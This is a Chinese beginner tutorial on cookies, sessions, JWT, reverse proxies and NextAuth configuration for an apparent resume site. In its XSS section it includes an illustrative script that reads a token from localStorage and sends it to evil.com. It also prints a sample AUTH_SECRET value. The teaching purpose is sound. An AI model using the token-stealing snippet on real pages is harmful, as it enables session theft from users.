面向前端小白,从零理解 Cookie、Session、JWT 和身份验证。
一、HTTP 请求基础
1.1 HTTP 请求长什么样?
当你在浏览器访问一个网站,浏览器会发出这样的请求:
GET /dashboard HTTP/1.1
Host: example.com
User-Agent: Chrome/120.0
Cookie: session=abc123; theme=dark
Accept: text/html
关键字段:
Host:告诉服务器你要访问哪个网站Cookie:携带之前服务器设置的凭证User-Agent:浏览器信息
1.2 为什么需要 Host 头?
一台服务器可以托管多个网站:
服务器 IP: 192.168.1.100
├── example.com → 网站 A
├── myapp.com → 网站 B
└── blog.com → 网站 C
服务器收到请求后,靠 Host 头判断该返回哪个网站的内容。
二、Cookie 基础
2.1 Cookie 是什么?
Cookie 是服务器发送给浏览器的一小段数据,浏览器会保存起来,后续请求自动带上。
第一次访问:
浏览器 → GET /login
服务器 → Set-Cookie: session=abc123; HttpOnly
浏览器 → 保存 Cookie
后续访问:
浏览器 → GET /dashboard
Cookie: session=abc123 ← 自动带上
服务器 → 识别用户,返回数据
2.2 Cookie 的属性
Set-Cookie: session=abc123;
Domain=example.com; ← 哪个域名可用
Path=/; ← 哪些路径可用
HttpOnly; ← JS 无法读取(防 XSS)
Secure; ← 只在 HTTPS 传输
SameSite=Lax; ← 防 CSRF
Max-Age=604800 ← 过期时间(秒)
| 属性 | 作用 |
|---|---|
Domain | Cookie 的作用域名 |
Path | Cookie 的作用路径 |
HttpOnly | JavaScript 无法读取,防止 XSS 攻击 |
Secure | 只在 HTTPS 下传输 |
SameSite | 防止 CSRF 攻击(Strict/Lax/None) |
Max-Age | 过期时间(秒) |
2.3 Cookie 的 Domain 规则
规则 1:不设置 Domain
Set-Cookie: session=abc123; Path=/
浏览器自动使用当前域名,只对当前域名有效:
| 访问域名 | Cookie 来自 | 是否发送 |
|---|---|---|
| example.com | example.com | ✅ |
| api.example.com | example.com | ❌ |
| other.com | example.com | ❌ |
规则 2:设置 Domain
Set-Cookie: session=abc123; Domain=example.com; Path=/
当前域名和所有子域名都可用:
| 访问域名 | 是否发送 |
|---|---|
| example.com | ✅ |
| api.example.com | ✅ |
| app.example.com | ✅ |
| other.com | ❌ |
2.4 谁决定 Cookie 的 Domain?
浏览器决定的,不是服务器。
服务器响应:
Set-Cookie: session=abc123; Path=/
(没有 Domain 属性)
浏览器收到后:
"没有指定 Domain?我用当前地址栏的域名"
设置到:example.com
三、Cookie vs localStorage
3.1 对比
| Cookie | localStorage | |
|---|---|---|
| 设计目的 | HTTP 状态管理 | 浏览器本地存储 |
| 发送方式 | 每次请求自动带上 | 不会自动发送 |
| 容量 | 4KB | 5MB |
| 过期时间 | 可设置 | 永久存储 |
| JS 访问 | HttpOnly 时不可访问 | 随意访问 |
3.2 请求行为对比
Cookie:
浏览器 → GET /api/user
Cookie: session=abc123 ← 自动带上
服务器 → 验证身份,返回数据
localStorage:
浏览器 → GET /api/user
(没有自动带上)
服务器 → 401 未授权
需要手动添加:
fetch('/api/user', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
})
3.3 安全性对比
| 攻击类型 | Cookie | localStorage |
|---|---|---|
| XSS | HttpOnly 可防御 | 完全 vulnerable |
| CSRF | 可能被攻击 | 不自动发送,相对安全 |
XSS 攻击示例:
<!-- 恶意脚本注入 -->
<script>
// Cookie:HttpOnly 时无法读取 ✅
console.log(document.cookie); // 空
// localStorage:可以读取 ❌
const token = localStorage.getItem("token");
fetch("https://evil.com/steal?token=" + token);
</script>
3.4 使用场景
| 场景 | 推荐 |
|---|---|
| 身份验证 Token | Cookie + HttpOnly ✅ |
| 用户偏好设置 | localStorage |
| 本地缓存数据 | localStorage |
| 表单草稿 | localStorage |
四、反向代理与 Cookie
4.1 什么是反向代理?
用户浏览器
↓
反向代理(Nginx/Caddy) ← 处理 HTTPS、负载均衡
↓
应用服务器(Next.js)
4.2 请求转发过程
1. 用户访问: https://example.com/dashboard
2. 请求到达反向代理:
Host: example.com
3. 反向代理转发给应用:
Host: localhost:3000 ← Host 变了!
X-Forwarded-Host: example.com ← 真实域名存这里
X-Forwarded-Proto: https
4. 应用服务器处理请求
4.3 Cookie 在反向代理中的流转
设置 Cookie:
应用服务器响应:
Set-Cookie: session=abc123; Path=/
反向代理原样转发
浏览器收到:
看到请求来自 example.com
设置 Cookie Domain: example.com
发送 Cookie:
浏览器请求:
Cookie: session=abc123
反向代理原样转发:
Cookie: session=abc123
应用服务器收到完整 Cookie
关键点:Cookie 是请求头的一部分,反向代理会原样转发,无需额外配置。
4.4 反向代理配置
Nginx:
location / {
proxy_pass http://localhost:3000;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
}
Caddy(自动处理):
reverse_proxy localhost:3000
五、身份验证方式
5.1 四种主流方式
| 方式 | 存储位置 | 优点 | 缺点 |
|---|---|---|---|
| Session + Cookie | 服务端 | 可随时撤销 | 需要存储 |
| JWT + Cookie | Cookie | 无状态 | 无法主动失效 |
| JWT + localStorage | localStorage | 简单 | XSS 风险 |
| Access + Refresh Token | 双 Token | 安全性高 | 实现复杂 |
5.2 Session + Cookie
登录成功
↓
服务端创建 Session,存入数据库/Redis
Session: { id: 'sess_123', userId: '1', expiresAt: '...' }
↓
Cookie 只存 Session ID
Set-Cookie: sessionId=sess_123
↓
每次请求,用 Session ID 查询数据库获取用户信息
优点:
- 可随时撤销(删除数据库记录)
- Cookie 只存随机 ID,更安全
缺点:
- 需要数据库/Redis 存储
- 每次请求都要查询
5.3 JWT + Cookie(当前项目使用)
登录成功
↓
生成 JWT Token(包含用户信息)
Token: { userId: '1', name: '张三', exp: 1234567890 }
↓
用密钥签名
Token: eyJhbGciOiJIUzI1NiIs...
↓
存入 Cookie
Set-Cookie: session=eyJhbGciOiJIUzI1NiIs...
↓
每次请求,解析 JWT 获取用户信息(无需查数据库)
优点:
- 无状态,不需要存储
- 性能高,无需查询数据库
缺点:
- 无法主动失效(只能等过期)
- Token 泄露风险较高
5.4 JWT + localStorage(不推荐)
登录成功
↓
返回 JWT Token
↓
前端存到 localStorage
↓
每次请求手动添加到 Header
Authorization: Bearer <token>
问题:XSS 攻击可以轻松窃取 Token。
5.5 如何选择?
| 项目规模 | 推荐方案 |
|---|---|
| 小型/个人项目 | JWT + Cookie ✅ |
| 中大型项目 | Session + Cookie + Redis |
| 高安全要求 | Access Token + Refresh Token |
六、NextAuth 配置详解
6.1 AUTH_SECRET
是什么:加密签名 JWT 的密钥
作用:
生成 JWT → 用 AUTH_SECRET 签名 → Token
验证 JWT → 用 AUTH_SECRET 验证签名 → 成功/失败
配置:
# 生成密钥
openssl rand -base64 32
# 输出
QL5z1LkiOpczKTUdTIgOEBd+wnNhYZpWe4u7l+oeKYo=
AUTH_SECRET=QL5z1LkiOpczKTUdTIgOEBd+wnNhYZpWe4u7l+oeKYo=
注意事项:
- 生产环境必须配置
- 不能泄露
- 更改后所有用户登录失效
6.2 AUTH_TRUST_HOST
是什么:让 NextAuth 信任请求中的 Host 头
为什么需要:
用户访问: https://example.com
↓
反向代理转发
↓
NextAuth 收到: Host: localhost:3000
NextAuth 默认:
"这个 Host 不在信任列表,拒绝!"
报错:UntrustedHost
开启后:
AUTH_TRUST_HOST=true
NextAuth:
"好的,信任这个 Host"
正常处理请求
什么时候开启:
| 场景 | 是否开启 |
|---|---|
| 本地开发 | ✅ 开启 |
| Vercel 等云平台 | ✅ 开启 |
| 自建服务器 + 反向代理 | ✅ 开启 |
AUTH_TRUST_HOST=true
6.3 AUTH_URL
是什么:明确告诉 NextAuth 网站的真实地址
为什么需要:
生成 OAuth 回调地址:
需要告诉 Discord 登录成功后跳转回哪里
回调地址应该是:
https://example.com/api/auth/callback/discord
但 NextAuth 只知道收到的是 localhost:3000
怎么办?
AUTH_URL 的作用:
AUTH_URL=https://example.com
生成回调地址时使用 AUTH_URL,而不是请求中的 Host。
什么时候需要:
| 场景 | 是否需要 |
|---|---|
| 本地开发 | ❌ 不需要 |
| 生产环境 | ✅ 建议配置 |
| 使用 OAuth 登录 | ✅ 必须配置 |
6.4 三个配置的关系
┌─────────────────────────────────────────────────────┐
│ │
│ AUTH_SECRET │
│ ├── 作用:加密签名 JWT │
│ ├── 必须:生产环境必须 │
│ └── 安全:不能泄露 │
│ │
│ AUTH_TRUST_HOST │
│ ├── 作用:信任请求中的 Host │
│ ├── 场景:反向代理、本地开发 │
│ └── 行为:跳过 Host 校验 │
│ │
│ AUTH_URL │
│ ├── 作用:明确网站地址 │
│ ├── 场景:生产环境、OAuth 回调 │
│ └── 优先级:高于请求中的 Host │
│ │
└─────────────────────────────────────────────────────┘
七、子域名与自定义域名
7.1 子域名 Cookie 共享
问题:
在 jianli.live 登录
↓
Cookie 存到 jianli.live
↓
访问 ludandan.jianli.live
↓
没有 Cookie,需要重新登录 ❌
解决方案:设置 Cookie Domain 为 .jianli.live
// src/server/auth/config.ts
cookies: {
sessionToken: {
name: 'authjs.session-token',
options: {
httpOnly: true,
sameSite: 'lax',
path: '/',
secure: process.env.NODE_ENV === 'production',
domain: process.env.NODE_ENV === 'production'
? '.jianli.live'
: undefined
}
}
}
效果:
在 jianli.live 登录
↓
Cookie Domain: .jianli.live
↓
所有子域名共享:
├── jianli.live ✅
├── ludandan.jianli.live ✅
└── zhangsan.jianli.live ✅
7.2 自定义域名问题
问题:
在 jianli.live 登录
↓
Cookie 存到 jianli.live
↓
访问 my-resume.com(用户自定义域名)
↓
没有 Cookie ❌(不同域名,无法共享)
解决方案:跨域名登录流程
┌────────────────────────────────────────────────────┐
│ 自定义域名登录流程 │
├────────────────────────────────────────────────────┤
│ │
│ 1. 用户访问 my-resume.com,点击登录 │
│ ↓ │
│ 2. 跳转到 jianli.live/auth/login?redirect=... │
│ ↓ │
│ 3. 在主域名登录成功 │
│ ↓ │
│ 4. 生成一次性 token,跳转回: │
│ my-resume.com/auth/callback?token=xxx │
│ ↓ │
│ 5. my-resume.com 验证 token,设置自己的 Cookie │
│ ↓ │
│ 6. 用户在 my-resume.com 已登录 │
│ │
└────────────────────────────────────────────────────┘
八、当前项目配置总结
8.1 环境变量
本地开发:
NODE_ENV=development
AUTH_SECRET=<随机生成的密钥>
AUTH_TRUST_HOST=true
DATABASE_URL=postgresql://user:pass@localhost:5432/jianli-pro
生产环境:
NODE_ENV=production
AUTH_SECRET=<随机生成的密钥>
AUTH_TRUST_HOST=true
AUTH_URL=https://jianli.live
DATABASE_URL=postgresql://user:pass@host:5432/jianli-pro
8.2 NextAuth 配置
// src/server/auth/config.ts
export const authConfig = {
trustHost: !!env.AUTH_TRUST_HOST,
providers: [
// ...登录方式
],
session: {
strategy: "jwt",
},
cookies: {
sessionToken: {
name: "authjs.session-token",
options: {
httpOnly: true,
sameSite: "lax",
path: "/",
secure: process.env.NODE_ENV === "production",
domain:
process.env.NODE_ENV === "production" ? ".jianli.live" : undefined,
},
},
},
callbacks: {
// ...
},
} satisfies NextAuthConfig;
8.3 检查清单
| 检查项 | 本地开发 | 生产环境 |
|---|---|---|
AUTH_SECRET | ✅ 已配置 | ✅ 必须配置 |
AUTH_TRUST_HOST | ✅ 已配置 | ✅ 必须配置 |
AUTH_URL | ❌ 不需要 | ✅ 建议配置 |
| HTTPS | ❌ 不需要 | ✅ 必须 |
| Cookie Domain | ❌ 不设置 | ✅ .jianli.live |
| 反向代理 X-Forwarded 头 | ❌ 不需要 | ✅ 必须正确 |
九、常见问题
Q1:登录后立即登出?
检查:
AUTH_SECRET是否配置AUTH_TRUST_HOST是否开启- 反向代理是否正确传递
X-Forwarded-Host
Q2:子域名无法共享登录?
检查 Cookie Domain 是否设置为 .主域名。
Q3:本地开发 Cookie 无效?
确保 AUTH_TRUST_HOST=true。
Q4:生产环境 OAuth 回调地址错误?
确保配置了 AUTH_URL。
Q5:如何让用户强制下线?
如果使用 JWT 策略,无法主动让用户下线。 改用 Session 策略,删除数据库中的 session 记录即可。
十、安全最佳实践
10.1 Cookie 设置
Set-Cookie: session=abc123;
HttpOnly; ← 必须,防 XSS
Secure; ← 生产环境必须,只走 HTTPS
SameSite=Lax; ← 防 CSRF
Path=/; ← 全站可用
10.2 密钥管理
- 使用强随机密钥(至少 32 字节)
- 不要提交到代码仓库
- 生产环境使用环境变量或密钥管理服务
- 定期轮换
10.3 HTTPS
生产环境必须使用 HTTPS:
- 保护 Cookie 传输
- 防止中间人攻击
- Secure Cookie 需要 HTTPS
十一、总结
┌─────────────────────────────────────────────────────┐
│ 核心概念 │
├─────────────────────────────────────────────────────┤
│ │
│ Cookie:浏览器存储,每次请求自动带上 │
│ Session:服务端存储,Cookie 只存 ID │
│ JWT:无状态 Token,自包含用户信息 │
│ │
├─────────────────────────────────────────────────────┤
│ 身份验证选择 │
├─────────────────────────────────────────────────────┤
│ │
│ 小型项目 → JWT + Cookie ✅ │
│ 中大型项目 → Session + Redis │
│ 高安全项目 → Access/Refresh Token │
│ │
├─────────────────────────────────────────────────────┤
│ 关键配置 │
├─────────────────────────────────────────────────────┤
│ │
│ AUTH_SECRET:密钥,必须配置 │
│ AUTH_TRUST_HOST:信任 Host,反向代理时开启 │
│ AUTH_URL:网站地址,生产环境配置 │
│ Cookie Domain:子域名共享时设置为 .主域名 │
│ │
└─────────────────────────────────────────────────────┘